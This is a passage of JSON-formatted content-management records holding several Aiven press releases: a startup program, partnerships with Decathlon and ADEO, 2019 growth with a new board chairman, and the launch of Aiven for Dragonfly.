cases"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"MjHtpmaI","_type":"block","children":[{"_key":"qAg07rDA","_type":"span","marks":[],"text":"Promotion through Aiven’s social media channels"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"Gg9yPngT","_type":"block","children":[{"_key":"C48JkM0t","_type":"span","marks":[],"text":"Aiven’s long-term investor Earlybird has joined the program as an investor partner. “We are excited to endorse the Cluster program among our portfolio companies. Cluster’s offering is compelling to young startups who want to be both cost-efficient and infrastructure agnostic. Aiven’s team manages databases at a scale and quality level that's unbeatable for an individual organisation”, says Dr. Hendrik Brandis, Co-founder and Partner at Earlybird."}],"markDefs":[],"style":"normal"},{"_key":"fmsonAwD","_type":"block","children":[{"_key":"3WpaCnNR","_type":"span","marks":[],"text":"To be eligible to apply to the program, startups must have an affiliation with a partner accelerator, incubator, or venture capitalist, be no older than five years, or achieved funding past Series A. Startups must also possess a full company website and email address."}],"markDefs":[],"style":"normal"},{"_key":"qEpf1SJW","_type":"block","children":[{"_key":"OVEXbLon","_type":"span","marks":[],"text":"The application period runs from December 1st to January 16th, with the decision period then ending on February 11th and the program beginning on February 14th."}],"markDefs":[],"style":"normal"},{"_key":"NaPyFHSk","_type":"block","children":[{"_key":"AR6Cx1s9","_type":"span","marks":[],"text":"To learn more about Aiven Cluster, visit: https://aiven.io/cluster"}],"markDefs":[],"style":"normal"},{"_key":"dk2bLeLa","_type":"block","children":[{"_key":"SVRprsjU","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"g189xSxM","_type":"block","children":[{"_key":"vHucvgyj","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Toronto, Sydney and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $2B unicorn valuation and has now raised $210M total funding backed by Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures, Salesforce Ventures and World Innovation Lab. To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-12-01T00:00:00.000Z","seo":{"metaDescription":"Aiven Cluster provides cutting edge data tools and a wealth of knowledge to startups looking to scale rapidly","metaTitle":"Aiven helps startups navigate growth with free tech package "},"slug":{"_type":"slug","current":"/press/aiven-helps-startups-navigate-growth-with-free-tech-package"},"subtitle":"Aiven Cluster provides cutting edge data tools and a wealth of knowledge to startups looking to scale rapidly","title":"Aiven helps startups navigate growth with free tech package "} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"SmFSPQEeG0lT9LV1ImFb1","_rev":"ElrRHx5al3kb1PwLXHCjb8","_type":"pressRelease","_updatedAt":"2022-12-02T13:03:11Z","content":[{"_key":"8kj3qIlH","_type":"block","children":[{"_key":"ETd97BkQ","_type":"span","marks":["em"],"text":"Decathlon Group chooses Aiven to turn its open source data management technologies into a highly resilient platform configured for DevOps"}],"markDefs":[],"style":"normal"},{"_key":"INgM4GkH","_type":"block","children":[{"_key":"9ad58c887c06","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — February 24, 2022"},{"_key":"RvVHVCzr","_type":"span","marks":[],"text":" – "},{"_key":"UkItOYdI","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"sdhlphdH","_type":"span","marks":[],"text":", a leading company combining the best open source streaming and data management technologies with cloud infrastructure, is partnering with Decathlon, a major sporting goods retailer with an ADN firmly focused on service and technology innovation. Aiven will provide Decathlon with worldwide Database-as-a-Service (DBaaS) support for its transition to microservices."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"FHRyHmM2","_type":"block","children":[{"_key":"BrlOW1hW","_type":"span","marks":["em"],"text":"\"Standing out in an increasingly competitive retail sector requires developing an IT environment based on cutting edge cloud native technology and highly automated processes. At Decathlon, service and technology innovation is rooted in our daily activities. It's why we form alliances with strong, multicloud partners like Aiven, providing DBaaS as the technological and operational linchpin of our Cloud Platform Engineering global strategy,\""},{"_key":"TCF9irj4","_type":"span","marks":[],"text":" stated Jérôme Dubreuil, Decathlon Chief Digital Officer."}],"markDefs":[],"style":"normal"},{"_key":"HnqN3NCl","_type":"block","children":[{"_key":"5k1UojCv","_type":"span","marks":[],"text":"Decathlon will benefit from Aiven's cloud and services management expertise to turn open source data technologies such as Kafka, PostgreSQL, MySQL, OpenSearch, InfluxDB and Redis into easily consumable, highly available and scalable data solutions."}],"markDefs":[],"style":"normal"},{"_key":"mAOrrQe9","_type":"block","children":[{"_key":"Gz5Zjp6r","_type":"span","marks":["em"],"text":"“Aiven’s solution offers us a unique stack for deploying our database solutions for all cloud providers. This type of collaboration allows us to rely on Aiven’s expertise for some of our applications (especially for databases). We can then focus on the parts of the solutions that differentiate more from the UX of our customers. This work is carried out by our multidisciplinary Decathlon teams - architecture, security, performance, integration - and our developers”"},{"_key":"upzLC9mD","_type":"span","marks":[],"text":" , said Pierre Hilbert, Database Product Owner at Decathlon."}],"markDefs":[],"style":"normal"},{"_key":"J8C3C2J5","_type":"block","children":[{"_key":"uOZeMLOJ","_type":"span","marks":[],"text":"With the rapid growth of DBaaS, Aiven and Decathlon will continue to work together and plan the transformation of data management services."}],"markDefs":[],"style":"normal"},{"_key":"xOiiCOKh","_type":"block","children":[{"_key":"tmF4KdlZ","_type":"span","marks":["em"],"text":"\"We are thrilled to support Decathlon in such an important transformation and are fully aware of the level of quality required to manage Decathlon applications\""},{"_key":"JuTEQzO9","_type":"span","marks":[],"text":", stated Oskari Saarenmaa, Aiven CEO and Co-founder."}],"markDefs":[],"style":"normal"},{"_key":"Jhr0loMx","_type":"block","children":[{"_key":"wOEaW8cc","_type":"span","marks":["em"],"text":"\"While the open source database market caught up to the business services market for the first time in 2021, Aiven is more committed than ever to providing reliable and innovative data services designed to make developers' lives easier and support our customers' business.\""}],"markDefs":[],"style":"normal"},{"_key":"IdcyBHka","_type":"block","children":[{"_key":"vqjIFWud","_type":"span","marks":["strong"],"text":"About Decathlon:"}],"markDefs":[],"style":"normal"},{"_key":"SXZOwVfr","_type":"block","children":[{"_key":"GBbCONtv","_type":"span","marks":[],"text":"Over the past decade, through its Decathlon Technology branch, Decathlon has accelerated its digital transformation to face new technological challenges and consumption patterns. With more than 3,000 engineers in over 50 countries, Decathlon Technology leverages the most innovative technologies, and works with and develops tools, systems and experiences that give people worldwide access to the joys and benefits of sports. Decathlon, a leader in the sporting goods market, has two lines of business: creating innovative sporting goods and services and their distribution online and in stores. With 330 retail outlets in France and over 1,700 worldwide, since 1976 Decathlon and its 97,000 employees have worked to achieve an ongoing goal: innovation in all fields to remain the main partner for all athletes."}],"markDefs":[],"style":"normal"},{"_key":"9LSZGCVl","_type":"block","children":[{"_key":"MzNcRgmP","_type":"span","marks":["strong"],"text":"About Aiven:"}],"markDefs":[],"style":"normal"},{"_key":"QW8A0xlK","_type":"block","children":[{"_key":"dZ9fpH7X","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Toronto, Singapore, Sydney and most recently Paris, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, OpenSearch and M3, on all major US and European clouds. Aiven offers its services in a CloudOps environment that helps companies leverage the advantages of cloud native to accelerate and remove risk from their transformation. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage multicloud data infrastructure. Earlier this year, ADEO announced its partnership with Aiven. Aiven has raised $210 million in VC funding to date and has achieved unicorn status. Aiven is backed by world-class investors including Atomico, IVP and Earlybird Venture Capital among others. To learn more about Aiven, visit "},{"_key":"hDsJaPsZ","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"QUjGwIya","_type":"span","marks":[],"text":" and follow "},{"_key":"AF3qWZrC","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"xctlyUau","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2022-02-24T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Decathlon Group chooses Aiven to turn its open source data management technologies into a highly resilient platform configured for DevOps.","metaTitle":"Decathlon selects Aiven to accelerate transition cloud"},"slug":{"_type":"slug","current":"/press/decathlon-selects-to-the-cloud-through-open-source-dbaas-and-cloud-native"},"subtitle":"Decathlon Group chooses Aiven to turn its open source data management technologies into a highly resilient platform configured for DevOps.","title":" Decathlon selects Aiven to accelerate its transition to the cloud through open source DbaaS and cloud native"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"WrLJCFmU6ZW7bi6Lqqv34","_rev":"4wCQkLLW7jZ1wPVfcq9HY3","_type":"pressRelease","_updatedAt":"2022-12-02T12:37:45Z","content":[{"_key":"hVpqzNIl","_type":"block","children":[{"_key":"EWmWvR6k","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — April 6, 2021- "},{"_key":"c2iFt0Gq","_type":"span","marks":[],"text":"Aiven, a leading technology company combining the best open-source event streaming and data management technologies with cloud infrastructure, and ADEO, the leading French DIY and home improvement player in the European market and third largest worldwide, announced today that they are expanding their partnership."}],"markDefs":[],"style":"normal"},{"_key":"ZSUQtDtC","_type":"block","children":[{"_key":"FMPjcJ9Y","_type":"span","marks":[],"text":"ADEO will benefit from the unparalleled Aiven technology that turns open-source data technologies such as PostgreSQL, MySQL, OpenSearch, InfluxDB and Redis into easily consumable, highly available and scalable data solutions."}],"markDefs":[],"style":"normal"},{"_key":"5Cq2BsBh","_type":"block","children":[{"_key":"OR1t2spW","_type":"span","marks":[],"text":"“We were looking for a technology partner to accompany both our European and global growth as we transform and digitize our processes while innovating the way we interact with our customers. We need a reliable cloud provider that can deliver, scale and support a large variety of services on-demand based,“ said Julien Charlot, Database and Middleware Product Manager at ADEO."}],"markDefs":[],"style":"normal"},{"_key":"JpFCv0b3","_type":"block","children":[{"_key":"MEh9Kaqg","_type":"span","marks":[],"text":"As DBaaS is evolving extremely fast, Aiven and ADEO will keep on collaborating and planning the necessary evolution of managed data services."}],"markDefs":[],"style":"normal"},{"_key":"yFHMoKWe","_type":"block","children":[{"_key":"XWgg3tP1","_type":"span","marks":[],"text":"“For the past two years, ADEO has been working closely with Aiven and influencing their roadmap with our needs and feedback, delivering substantial improvements for our users and for us as administrators,” said Matthieu Cornillon, Cloud Data Technical Lead at ADEO."}],"markDefs":[],"style":"normal"},{"_key":"kGOp9wz7","_type":"block","children":[{"_key":"Ard4LIPA","_type":"span","marks":[],"text":"“Our partnership with Aiven evolved from one where they supported a few tactical projects to one where they now represent a key, strategic component of our infrastructure. Thanks to Aiven's excellent services and dedicated support, it has proven to be a very solid pillar of our data cloudification strategy,” said Giovanni Clement, CTO at ADEO."}],"markDefs":[],"style":"normal"},{"_key":"vaFBxi5v","_type":"block","children":[{"_key":"6hc4d7Xd","_type":"span","marks":[],"text":"Aiven will continue to collaborate with ADEO to deliver a wide range of services that ADEO will offer across their organization and brands to support a significant number of business and IT use cases, always accompanied with around-the-clock Aiven support."}],"markDefs":[],"style":"normal"},{"_key":"0SP6w7Ai","_type":"block","children":[{"_key":"Iy6wm3vc","_type":"span","marks":[],"text":"“We are thrilled to see ADEO reasserting the confidence they have put in our company for the last two years. As we make reactivity and agility the foundation of our customer engagement, it is most appreciated to witness such a positive outcome,” said Oskari Saarenmaa, co-founder and Chief Executive Officer at Aiven. “We are committed to accompany ADEO alongside their digitization journey and will keep valuing their inputs as our relationship grows.”"}],"markDefs":[],"style":"normal"},{"_key":"pmYYtppU","_type":"block","children":[{"_key":"MSTDCf0f","_type":"span","marks":["strong"],"text":"About ADEO"}],"markDefs":[],"style":"normal"},{"_key":"O3osWjTi","_type":"block","children":[{"_key":"YlP5eznu","_type":"span","marks":[],"text":"ADEO is the third largest player worldwide in the home improvement market, providing home life, tooling, and DIY supplies for individuals and trade across 13 countries."}],"markDefs":[],"style":"normal"},{"_key":"yuTTM2Zb","_type":"block","children":[{"_key":"2dJEpGKW","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"ANXLzPo4","_type":"block","children":[{"_key":"YbVtbV4w","_type":"span","marks":[],"text":"Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"j031aCly","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"S2R1AT9A","_type":"span","marks":[],"text":"and follow "},{"_key":"7RIEBEmP","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"jcQ2PJiY","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-04-06T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven selected as partner by ADEO to support its continuous digitization effort by delivering innovative and highly secured open-source data solutions ","metaTitle":"Aiven and ADEO expand their partnership"},"slug":{"_type":"slug","current":"/press/adeo-expands-partnership-with-aiven-to-deliver-open-source-driven-global"},"subtitle":"Aiven selected as partner by ADEO to support its continuous digitization effort by delivering innovative and highly secured open-source data solutions for various business and IT use cases.","title":"Aiven and ADEO expand their partnership"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"Y8a0fWgUgWmKgdLrKXVtz","_rev":"ElrRHx5al3kb1PwLXGgcY8","_type":"pressRelease","_updatedAt":"2022-12-02T11:53:56Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading cloud technology startup providing a portfolio of managed database and stream processing products, closes 2019 after tripling its revenue run rate to $12M and doubling its headcount to 42 during the year and having opened new offices in Berlin and Sydney in addition to the existing ones in Helsinki and Boston.\n\n“Aiven’s 2019 growth is a strong indicator of our future success and momentum going into 2020,” said Oskari Saarenmaa, co-founder and CEO at Aiven. “Our goal has always been to help our customers focus on what’s most important to their businesses while we provide them the cutting edge cloud technology that allows them to move faster. Establishing a physical presence in new locations combined with our strong financial development allows us to offer an even better level of service to our growing, global customer base in 2020.”\n\nIn addition to its increasing global presence and revenue, Aiven continues to bolster it’s leadership team by appointing [Olaf Schmitz](https://www.linkedin.com/in/olafschmitz/), former head of business development at Amazon, to the company’s board of directors. Schmitz carries extensive business innovation knowledge aimed at helping operations run smoothly from his background at Amazon, and he will leverage his expertise at Aiven as chairman.\n\n“The future of business relies on the ability to manage data in a modernized, simplified way,” said Schmitz. “Aiven’s open source data solutions are precisely what businesses need to help optimize data collection and reduce growing security risks. I’m elated to join the Aiven team as chairman to help continue its rapid growth and success.”\n\nEnterprises are awash in data and batch processing is no longer good enough to maintain a competitive advantage. As data pipelines have modernized, they have rendered data actionable in real-time. But the components that comprise the pipelines are complex, making them difficult to implement and manage.\n\nAiven’s platform removes this obstacle, allowing enterprises to build these modern pipelines and take advantage of real-time use cases such as IoT. For example, Aiven for Apache Kafka underlies Comcast’s Xfinity Home IoT concept, which requires high availability and low end-to-end latency.\n\n“At Comcast, we needed a robust managed Kafka solution for some of our most critical workflows. Based on our evaluation, Aiven clearly offers superior cost, support, and performance,” said Adam Hertz, VP of Engineering.\n\nFurther propelling its 2019 momentum, Aiven plans to expand with M3 time series database and Apache Flink stream processing product releases in 2020, maintaining its quick-to-market strategy and leadership position. Aiven will continue to be the first database services provider to offer major version updates to its current offering, such as [PostgreSQL 12](https://aiven.io/postgresql){:target=\"\\blank\"}, which became available in November 2019. The success behind the release of [Kafka Connect as a Service](https://aiven.io/kafka-connect) is another demonstration of the caliber of service and pace Aiven intends to maintain throughout 2020.\n\nTo learn more about Aiven’s capabilities, visit: [https://aiven.io](https://aiven.io).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"sZBITQuu","_type":"block","children":[{"_key":"b21ac23efd3f","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — December 18, 2019-"},{"_key":"aAuZ8OxX","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"kpwarTzK","_type":"span","marks":[],"text":", a leading cloud technology startup providing a portfolio of managed database and stream processing products, closes 2019 after tripling its revenue run rate to $12M and doubling its headcount to 42 during the year and having opened new offices in Berlin and Sydney in addition to the existing ones in Helsinki and Boston."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"7Kjg6Jhj","_type":"block","children":[{"_key":"YQtrWWUz","_type":"span","marks":[],"text":"“Aiven’s 2019 growth is a strong indicator of our future success and momentum going into 2020,” said Oskari Saarenmaa, co-founder and CEO at Aiven. “Our goal has always been to help our customers focus on what’s most important to their businesses while we provide them the cutting edge cloud technology that allows them to move faster. Establishing a physical presence in new locations combined with our strong financial development allows us to offer an even better level of service to our growing, global customer base in 2020.”"}],"markDefs":[],"style":"normal"},{"_key":"YQEIdIWE","_type":"block","children":[{"_key":"qQxbDYco","_type":"span","marks":[],"text":"In addition to its increasing global presence and revenue, Aiven continues to bolster it’s leadership team by appointing "},{"_key":"HlwbRzea","_type":"span","marks":["m3964133784020"],"text":"Olaf Schmitz"},{"_key":"ZNQYPzfs","_type":"span","marks":[],"text":", former head of business development at Amazon, to the company’s board of directors. Schmitz carries extensive business innovation knowledge aimed at helping operations run smoothly from his background at Amazon, and he will leverage his expertise at Aiven as chairman."}],"markDefs":[{"_key":"m3964133784020","_type":"link","href":"https://www.linkedin.com/in/olafschmitz/"}],"style":"normal"},{"_key":"TPqz4CHN","_type":"block","children":[{"_key":"ha2vPZ0h","_type":"span","marks":[],"text":"“The future of business relies on the ability to manage data in a modernized, simplified way,” said Schmitz. “Aiven’s open source data solutions are precisely what businesses need to help optimize data collection and reduce growing security risks. I’m elated to join the Aiven team as chairman to help continue its rapid growth and success.”"}],"markDefs":[],"style":"normal"},{"_key":"kBSjwLbI","_type":"block","children":[{"_key":"Uj6OVSqG","_type":"span","marks":[],"text":"Enterprises are awash in data and batch processing is no longer good enough to maintain a competitive advantage. As data pipelines have modernized, they have rendered data actionable in real-time. But the components that comprise the pipelines are complex, making them difficult to implement and manage."}],"markDefs":[],"style":"normal"},{"_key":"OTOek6uf","_type":"block","children":[{"_key":"5175dwma","_type":"span","marks":[],"text":"Aiven’s platform removes this obstacle, allowing enterprises to build these modern pipelines and take advantage of real-time use cases such as IoT. For example, Aiven for Apache Kafka underlies Comcast’s Xfinity Home IoT concept, which requires high availability and low end-to-end latency."}],"markDefs":[],"style":"normal"},{"_key":"7fwD3sVO","_type":"block","children":[{"_key":"HWocx2v8","_type":"span","marks":[],"text":"“At Comcast, we needed a robust managed Kafka solution for some of our most critical workflows. Based on our evaluation, Aiven clearly offers superior cost, support, and performance,” said Adam Hertz, VP of Engineering."}],"markDefs":[],"style":"normal"},{"_key":"2XpzBWRB","_type":"block","children":[{"_key":"sIsjI05w","_type":"span","marks":[],"text":"Further propelling its 2019 momentum, Aiven plans to expand with M3 time series database and Apache Flink stream processing product releases in 2020, maintaining its quick-to-market strategy and leadership position. Aiven will continue to be the first database services provider to offer major version updates to its current offering, such as "},{"_key":"9UI6fSsV","_type":"span","marks":["m5814761259150"],"text":"PostgreSQL 12"},{"_key":"OqXpflqW","_type":"span","marks":[],"text":"{:target=\"\\blank\"}, which became available in November 2019. The success behind the release of "},{"_key":"J61UG6Kf","_type":"span","marks":["m3878496420285"],"text":"Kafka Connect as a Service"},{"_key":"6ECaks8C","_type":"span","marks":[],"text":" is another demonstration of the caliber of service and pace Aiven intends to maintain throughout 2020."}],"markDefs":[{"_key":"m5814761259150","_type":"link","href":"https://aiven.io/postgresql"},{"_key":"m3878496420285","_type":"link","href":"https://aiven.io/kafka-connect"}],"style":"normal"},{"_key":"gKsKxgPE","_type":"block","children":[{"_key":"S5yNSMDh","_type":"span","marks":[],"text":"To learn more about Aiven’s capabilities, visit: "},{"_key":"3s1Y6H5K","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"kUFkwPJc","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"JK0gNFBx","_type":"block","children":[{"_key":"ISh1JGed","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"JduObo04","_type":"block","children":[{"_key":"TwcJ170n","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"MMiADjo4","_type":"block","children":[{"_key":"TmDYyUnI","_type":"span","marks":[],"text":"You can visit "},{"_key":"waS0YS65","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"4Sc1Ceix","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"J92xRPnt","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"EnCc9w1Q","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-12-18T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2019, the company tripled its revenue, added an Amazon executive to the board, opened new offices \u0026 more.","metaTitle":"Aiven triples revenue \u0026 adds Amazon executive to board"},"slug":{"_type":"slug","current":"/press/aiven-triples-revenue-adds-amazon-executive-to-board"},"subtitle":"Aiven Press Release: In 2019, the company tripled its revenue, added an Amazon executive to the board, opened new offices \u0026 more.","title":"Aiven triples revenue and adds Amazon executive to board"} {"__i18n_lang":"en","_createdAt":"2024-03-07T20:48:51Z","_id":"c1ab27c1-128e-4941-a4ff-1ac93d92448a","_rev":"sx3m64XnoJyDsAwkmJ9pE8","_type":"pressRelease","_updatedAt":"2024-07-05T08:45:36Z","content":[{"_key":"698bf3b89cac","_type":"block","children":[{"_key":"f8b7cf4597da0","_type":"span","marks":[],"text":"HELSINKI, Finland — March 20, 2024 — Aiven, the open source cloud data platform company, today announced the general availability of Aiven for Dragonfly"},{"_key":"f8b7cf4597da1","_type":"span","marks":["strong"],"text":"®"},{"_key":"f8b7cf4597da2","_type":"span","marks":[],"text":", enabling organizations to handle high volumes of data and user traffic, fast."}],"markDefs":[],"style":"normal"},{"_key":"05935938687f","_type":"block","children":[{"_key":"c97049c7c8b10","_type":"span","marks":["649ee6c48fe3"],"text":"Aiven for Dragonfly"},{"_key":"12a963ed3a04","_type":"span","marks":[],"text":" is ideal for businesses that require high-performance, in-memory data storage, real-time processing capabilities, and the ability to significantly scale. It is an advanced"},{"_key":"c97049c7c8b11","_type":"span","marks":["strong"],"text":" "},{"_key":"c97049c7c8b12","_type":"span","marks":[],"text":"Redis®-compatible in-memory database service that handles massive data workloads with ease and speed. Aiven for Dragonfly delivers nearly 700 percent higher throughput (requests per second) and uses around 25 percent less memory compared to open source Redis on similar hardware, according to our benchmark study [1]."}],"markDefs":[{"_key":"649ee6c48fe3","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"}}],"style":"normal"},{"_key":"279e620b1010","_type":"block","children":[{"_key":"69fab1e735940","_type":"span","marks":[],"text":"Aiven for Dragonfly adds additional features and performance boosters, including an AI vector search function that delivers super fast response times for modern AI applications. Aiven for Dragonfly is available on any cloud a customer chooses, making it easy for businesses to get started and focus on innovating and developing applications rather than managing data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"1a6e389d7a1b","_type":"block","children":[{"_key":"bc6db65aaf150","_type":"span","marks":[],"text":"According to Gartner®, \"The database management system (DBMS) market experienced 14.4% growth in 2022, beating the overall software market growth of 11.3%. Growth was again primarily driven by cloud database platform as a service (dbPaaS), whose share has now reached over half (55%) of the overall market.\""},{"_key":"bc6db65aaf151","_type":"span","marks":["em"],"text":" "},{"_key":"bc6db65aaf152","_type":"span","marks":[],"text":"[2] The DBMS market has exploded as a critical business system for data, contributing to better business decision-making, improved customer experiences, and increased cost-efficiency."}],"markDefs":[],"style":"normal"},{"_key":"2ac82373d549","_type":"block","children":[{"_key":"8931f212a3f10","_type":"span","marks":[],"text":"Jonah Kowall, VP Product Management, Aiven, said, “Businesses have an endless thirst for data, efficiency, and high performance. Aiven for Dragonfly, now available on the Aiven cloud data platform, delivers low latency and high performance to handle large-scale in-memory data workloads efficiently. This technology can power use cases from caching to gaming leaderboards, and ecommerce to highly personalized media experiences. The service further demonstrates our commitment to delivering the most innovative core data infrastructure technologies to enable our customers to focus on their core business.”"}],"markDefs":[],"style":"normal"},{"_key":"607ea91033b7","_type":"block","children":[{"_key":"60cfe43674030","_type":"span","marks":["f8f880c9e1df"],"text":"Aiven for Dragonfly"},{"_key":"60cfe43674031","_type":"span","marks":["strong"],"text":" "},{"_key":"ef3fab4538ab","_type":"span","marks":[],"text":"delivers:"}],"markDefs":[{"_key":"f8f880c9e1df","_type":"internalLink","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8","_type":"reference"}}],"style":"normal"},{"_key":"a1c9dcea41d6","_type":"block","children":[{"_key":"35ac907c40ab0","_type":"span","marks":[],"text":"Superior scalability — It handles large data volumes and processes hundreds of thousands of requests per second, making it ideal for caching and real-time applications like social media and online gaming."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a7e2a7761ba0","_type":"block","children":[{"_key":"5b8f3db2f3f80","_type":"span","marks":[],"text":"Efficiency — It uses only a fraction of the resources required by other Redis-compatible solutions, providing high throughput and cost savings without compromising performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c76346ee8926","_type":"block","children":[{"_key":"b4ab32fa56730","_type":"span","marks":[],"text":"Advanced capabilities — It goes beyond basic caching with support for JSON documents and vector search, unlocking new possibilities for applications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"926621222a34","_type":"block","children":[{"_key":"58f4f9cfc3420","_type":"span","marks":[],"text":"Seamless management — Aiven for Dragonfly removes infrastructure complexities, from backups and security to upgrades and cloud migrations, on one platform, and delivers 99.99% uptime and near-zero downtime operations."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"53081c1df691","_type":"block","children":[{"_key":"1ebe65c8bd600","_type":"span","marks":[],"text":"Compatibility — The new service offers a familiar Redis experience and easy migration from Aiven for Redis to Aiven for Dragonfly, requiring no code changes."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c09d4507aef6","_type":"block","children":[{"_key":"af006a7978c20","_type":"span","marks":[],"text":"Conrad Electronic provides an advanced sourcing platform for technical supplies to 21 million customers worldwide. Janek Wonner, Head of SRE and Cloud technology, said, “Speed and scale are absolute necessities for our business. Our experience using Aiven for Dragonfly has been really valuable to support these business needs, from the ease of migration to improved performance and scalability. Being able to move from Aiven for Redis to Aiven for Dragonfly as our data needs grow, with ease and familiarity, is a real advantage of the Aiven platform. We can focus on our business growth with the confidence that our data infrastructure is as robust, scalable, and as fast as our business requires.”"}],"markDefs":[],"style":"normal"},{"_key":"14160043120a","_type":"block","children":[{"_key":"4e5fbefa880f","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"fa84c8ee0922","_type":"block","children":[{"_key":"83fe0c9cdb7d0","_type":"span","marks":[],"text":"Oded Poncz, Co-Founder and CEO, Dragonfly said, “We’re excited to welcome Aiven to the Dragonfly community. Aiven has shown a commitment to delivering high-performance, scalable data services to their customers, and we’re very pleased that they are able to utilize Dragonfly to deliver a service that will satisfy large, complex workloads that Redis could not scale to support.”"}],"markDefs":[],"style":"normal"},{"_key":"a8616deaf8bb","_type":"block","children":[{"_key":"56e964963e27","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"107cddb060be","_type":"block","children":[{"_key":"4bb17d5304e20","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"c7fbaad77d70","_type":"block","children":[{"_key":"7128718ce0c80","_type":"span","marks":[],"text":"Aiven is the trusted open source data platform for everyone. Aiven enables anyone to create, use, and manage data applications with confidence. With Aiven, customers can drive business results from open source data technologies that trigger true transformations on a global scale. Valued at $3 billion, Aiven is backed by Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab. The company is headquartered in Helsinki with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. To learn more about Aiven, visit aiven.io and follow @aiven_io on X."}],"markDefs":[],"style":"normal"},{"_key":"be0fe3db708a","_type":"block","children":[{"_key":"7e73c83adfd00","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"75e05ef51009","_type":"block","children":[{"_key":"ca2ef1c62f3d","_type":"span","marks":["strong"],"text":"About 